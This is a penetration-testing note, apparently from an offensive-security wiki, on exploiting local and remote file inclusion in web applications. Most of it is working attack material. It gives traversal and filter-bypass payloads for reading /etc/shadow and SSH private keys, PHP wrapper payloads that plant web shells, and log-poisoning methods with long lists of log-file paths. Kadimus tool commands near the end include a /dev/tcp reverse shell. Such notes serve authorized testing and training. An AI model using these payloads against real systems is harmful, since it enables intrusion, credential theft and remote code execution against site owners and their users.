Exploitation - Local and remote file inclusions

The File Inclusion vulnerability allows for the include of a file locally present on the server or remotely hosted on a webserver, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.

This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time. The vulnerability occurs due to the use of user-supplied input without proper validation.

A file include vulnerability is distinct from a generic Directory Traversal Attack, in that directory traversal is a way of gaining unauthorized file system access, and a file inclusion vulnerability subverts how an application loads code for execution.

File Inclusion vulnerability detection

In black box testing, look for scripts which take filenames as parameters, such as the following examples:

http://vulnerable_host/preview.php?file=example.html
http://vulnerable_host/?op=home

Try to access freely accessible files, such as:

# Linux
/etc/passwd

# Windows
WINDOWS\System32\drivers\etc\hosts

File access

Basic

Typical proof-of-concept for basic LFI would be:

# Linux
?file=../../../../../../../../../../etc/passwd

# Windows
?file=..\..\..\..\..\..\..\..\..\..\WINDOWS\System32\drivers\etc\hosts

Files of interest

The following Linux files can be of interest:

# System information
/etc/issue

# System users account information
/etc/passwd

# System users account hashed password
/etc/shadow

# System groups information
/etc/group

/home/<USERNAME>/.ssh/id_rsa
/root/.ssh/id_rsa
/home/<USERNAME>/.ssh/authorized_keys
/root/.ssh/authorized_keys

Null Byte

In some cases, the server will append an extension at the end of the requested file, such as ".php”.

Such mechanisms can be bypassed using the line terminator char null byte:

# Linux
?file=../../../../../../../../../../etc/passwd%00

# Windows
?file=..\..\..\..\..\..\..\..\..\..\WINDOWS\System32\drivers\etc\hosts%00

Double encoding

Encoding parameters twice in hexadecimal format can be leveraged to bypass security controls such as blacklist filters. For example, the '.' (dot) character represent %2E in hexadecimal representation. When the % symbol is encoded again, its representation in hexadecimal code is %25. The result from the double encoding process is %252E.

# Linux
?file=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

# Windows
?file=%252e%252e%255c%252e%252e%255c%252e%252e%255cWINDOWS%255cSystem32%255cdrivers%255cetc%255chosts

Filter bypass

Some blacklist filter may be implemented and restrict the usage of "../". Those kind of filter may be passed using the following payloads:

# Linux
?file=..././..././..././etc/passwd
?file=....//....//etc/passwd
?file=..///////..////..//////etc/passwd

# Windows
?file=....\\....\\....\\....\\....\\....\\WINDOWS\System32\drivers\etc\hosts%00
?file=..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\WINDOWS\System32\drivers\etc\hosts%00

PHP wrappers

php://filter This PHP wrapper can be used to access the source code of the page:

# Base64 encoding
?page=php://filter/convert.base64-encode/resource=config.php
?page=php://filter/convert.base64-encode/resource=config.php%00

# rot13 encoding
?page=php://filter/read=string.rot13/resource=config.php
?page=php://filter/read=string.rot13/resource=config.php%00

Remote Code Execution

Basic remote file inclusion

If a File Inclusion vulnerability can be used to include remote files, the vulnerability could be leveraged to make the web application retrieve and execute a remote script.

The included script must be in a language supported by the web application. Refer to the [General] Shell note for web and reverse shell payloads.

?file=<URL_TO_SCRIPT>

File upload

If the web application exposes an upload functionality, the uploaded files could be leveraged through a local file inclusion to execute code on the target.

If no filter restrict the uploaded files type, the uploaded files should be in a language supported by the web application to achieve code execution. Refer to the [General] Shell note for web and reverse shell payloads.

Multiples filters can however limit the files type accepted by the web application

  • client-side restrictions using JavaScript, etc.

  • HTTP Content-Type verification

  • file extension black or white listing

Knowledge of the uploaded files path could be needed in order to include the files through the local file inclusion vulnerability if the upload directory is different from the file inclusion vulnerability working directory. The upload directory path may be leaked by the web application, usually in error messages or in settings / configuration web pages.

Refer to the [WebApps] File upload note for more information on how to bypass upload filters and retrieve the uploaded file path.

PHP wrappers

data

The PHP data:// wrapper allows for the injection and execution of PHP code given in parameter:

# <?php phpinfo(); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B

# <?php system($_GET['cmd']); ?>
?page=data://text/plain;base64,PD8gcGhwIHN5c3RlbSgkX0dFVFsnY21kJ10pOyA%2fPg%3d%3d

# XSS (alert(1))
?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

expect

The PHP expect:// wrapper allows execution of system commands but is not enabled by default.

php?page=expect://whoami

input

The PHP input:// wrapper allows for the injection and execution of PHP code given in the POST request body:

POST .../?page=php://input&cmd=whoami
...
<?php system($_GET['cmd']); ?>

zip / phar

The zip:// and phar:// wrappers can be used to achive code execution if a zip or phar archive can be upload to the server:

# <pre><?php system($_GET['cmd']); ?></pre>
echo "<pre><?php system(\$_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;   
# As the file extension does not matter, a file with a jpg extension can be uploaded
mv payload.zip shell.jpg;    

# zip://<PATH_TO_UPLOADED_FILE>%23<FILE_INSIDE_ZIP>&cmd=<CMD>
?page=zip://shell.jpg%23payload&cmd=whoami
?page=zip://shell.jpg%23payload.php

Log files contamination

Code can be injected into log files, principle known as log files contamination, in order to be executed whenever accessing the log files through a LFI.

On Linux, the log files of the Apache, SSH, FTP or SMTP services can be targeted.

Apache

The server access log records all requests processed by the server and the server error log contains any errors encountered while processing requests.

The access log may record the request GET parameters as well as the User-Agent and Referer HTTP headers.

Depending on the configured level of error logging enabled on the server, the error log files may record the URI for missing requested resources (HTTP error 404).

Possible httpd.conf locations, in which access, error or custom log files locations may be defined:

/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
/etc/httpd/httpd.conf
/etc/httpd/conf/httpd.conf

Additionally, the following locations could be used for the Apache access / error log files:

# Access log files possible locations
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/apache/access_log
/var/log/apache2/access_log
/var/log/httpd/access.log
/var/log/httpd/access_log
/apache/logs/access.log
/etc/httpd/logs/acces.log
/etc/httpd/logs/acces_log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/var/log/access.log
/var/log/access_log
/usr/local/apache/log
/usr/local/apache/logs
/var/www/log/access.log
/var/www/log/access_log
/var/www/logs/access.log
/var/www/logs/access_log
/var/apache/logs/access_log
/var/log/nginx/access.log
/var/log/apache-ssl/access.log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/opt/lampp/logs/access_log
/usr/local/www/logs/thttpd_log
/var/log/thttpd_log
C:\apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\program files\wamp\apache2\logs
C:\wamp\apache2\logs
C:\wamp\logs
C:\xampp\apache\logs\access.log

# Error log files possible locations
/var/log/apache/error.log
/var/log/apache2/error.log
/var/log/apache/error_log
/var/log/apache2/error_log
/var/log/httpd/error.log
/var/log/httpd/error_log
/apache/logs/error.log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/var/log/error.log
/var/log/error_log
/usr/local/apache/error
/usr/local/apache/errors
/var/www/log/error.log
/var/www/log/error_log
/var/www/logs/error.log
/var/www/logs/error_log
/var/apache/logs/error_log
/var/log/nginx/error.log
/var/log/apache-ssl/error.log
/opt/lampp/logs/error_log
C:\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\xampp\apache\logs\error.log

SSH / FTP

Every connection attempts to the SSH or FTP services may be logged. As the username specified for the connection attempt is recorded, it can be used as an injection point.

Default configuration files locations that define the SSH / FTP services log files location:

/etc/ssh/sshd_config
/etc/vsftpd.conf

rsyslog, an open-source software utility used on UNIX and Unix-like computer systems, may be deployed on the targeted system to centralize logs. The utility configuration is defined in the /etc/rsyslog.conf configuration file and the authentication log policies are specified in the sub-system auth.*

# SSH log files possible locations
/var/log/sshd.log

# FTP log files possible locations
/var/log/vsftpd.log
/var/log/sftp.log
/var/log/ftp.log
/var/log/messages
/var/log/xferlog

# Failed attempts
/var/log/auth.log

SMTP Log Poisioning

Information about the emails sent through the service may be logged. By default Postfix notably includes email addresses of the sender and recipients.

Refer to the L7 SMTP - Methodology note for more information on how to manually send emails through a SMTP service.

/var/log/mail

Proc environ or files descriptor injection

The /proc/self/environ file contains the environment variables of the current process and notably, for an Apache process, the variable HTTP_USER_AGENT set from the User-Agent requests. Making requests containing code in the HTTP User-Agent header and accessing the /proc/self/environ file through a LFI could result in code execution. Note that on modern Linux systems this file is not accessible to unprivileged users.

Environment variables of others processes can also be accessed by privileged users using /proc/<PID>/environ and could also be exploited, given the web service is running under elevated privileges and the environment variables of an other process can be populated through user controlled parameter.

The /proc/self/fd/<FD_ID> and /proc/<PID>/fd/<FD_ID> files references the pipes or sockets opened respectively by the current and the specified process. Theses files are used for inter process communication and may include content populated through user controlled parameters. If such content can be identified, for example the logging of requests processed or active session cookies defined, a LFI vulnerability could be leveraged into code execution.

PHP sessions

By default, PHP stores information about the active sessions in /var/lib/php/sess_<PHPSESSID> or /var/lib/php5/sess_<PHPSESSID> (PHP5). For instance the session PHPSESSID=uv06hljg4igcfkf3nsk9tsjle5 would be stored in /var/lib/php5/sess_uv06hljg4igcfkf3nsk9tsjle5.

The default session files locations can be modified using the session.save_path configuration directive in the php.ini configuration file or at runtime using ini_set('session.save_path', '/path/sessions/folder').

phpinfo()

If available, a page executing and returning the PHP's phpinfo() function could be used to leverage a LFI vulnerability into remote code execution.

The phpinfo() function returns the currently defined variables in its scope, notably including the values sent through the request GET or POST parameters and the uploaded file _FILES, which contains the temporary file upload location on the file system tmp_name. The temporary uploaded file only exists while the PHP processor is operating on the requested .php file, and is deleted at the end of processing. By making multiple large upload POST requests to the phpinfo script with a number of large HTTP headers, it is possible to increase the processing time in order to retrieve the name of a temporary file and access it through the LFI vulnerability before deletion.

More information about this exploit technique can be found here: https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

Additionally, the LFISuite tool presented below can be used to automatically exploit this technique.

Automatic exploit tools

Kadimus

LFISuite offers a more complete approach

Kadimus is CLI tool to automatically scan and exploit Local File Inclusion vulnerabilities using the following methods of attack:

  • /var/log/auth.log RCE

  • /proc/self/environ RCE

  • php://input RCE

  • data://text RCE

# Scan for LFI vulnerability
kadimus -t 20 [--cookie <COOKIE>] -u <URL>

# Simple command shell
kadimus -u <URL> --parameter <VULNERABLE_PARAMETER> -T <auth | data | environ | input> --shell
# Reverse shell
kadimus -u <URL> --parameter <VULNERABLE_PARAMETER> -T <auth | data | environ | input> -l <LPORT> -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' --retry-times 0
kadimus -u <URL> --parameter <VULNERABLE_PARAMETER> -T <auth | data | environ | input> -l <LPORT> -c '<SYSTEM_REVSHELL_COMMAND>' --retry-times 0

LFISuite

LFISuite is CLI multi-platforms (Windows, Linux and OS X) tool to automatically scan and exploit Local File Inclusion vulnerabilities. It provides a more exhaustive list of possible log files locations and also offers more attacks methods that Kadimus:

  • /proc/self/environ

  • php://filter

  • php://input

  • /proc/self/fd

  • access log

  • phpinfo

  • data://

  • expect://

All methods above can be tried automatically by specifying the Auto-Hack modality. If a LFI vulnerability is detected, the reverseshell command can be used to start a reverse shell.

python lfisuite.py

--------------------
 1) Exploiter       
 2) Scanner         
 x) Exit            
--------------------
-> 1

____________________________

    Available Injections    
____________________________

 [...]
 9) Auto-Hack  			   
 x) Back 				   
____________________________

 -> 9

[*] Enter the URL you want to try to hack (ex: 'http://site/vuln.php?id=') -> <URL>

References

https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/ https://www.hackingarticles.in/smtp-log-poisioning-through-lfi-to-remote-code-exceution/ https://liberty-shell.com/sec/2018/05/19/poisoning/ https://medium.com/bugbountywriteup/bugbounty-journey-from-lfi-to-rce-how-a69afe5a0899 https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

PreviousExploitation - LDAP injectionsNextExploitation - File upload

Last updated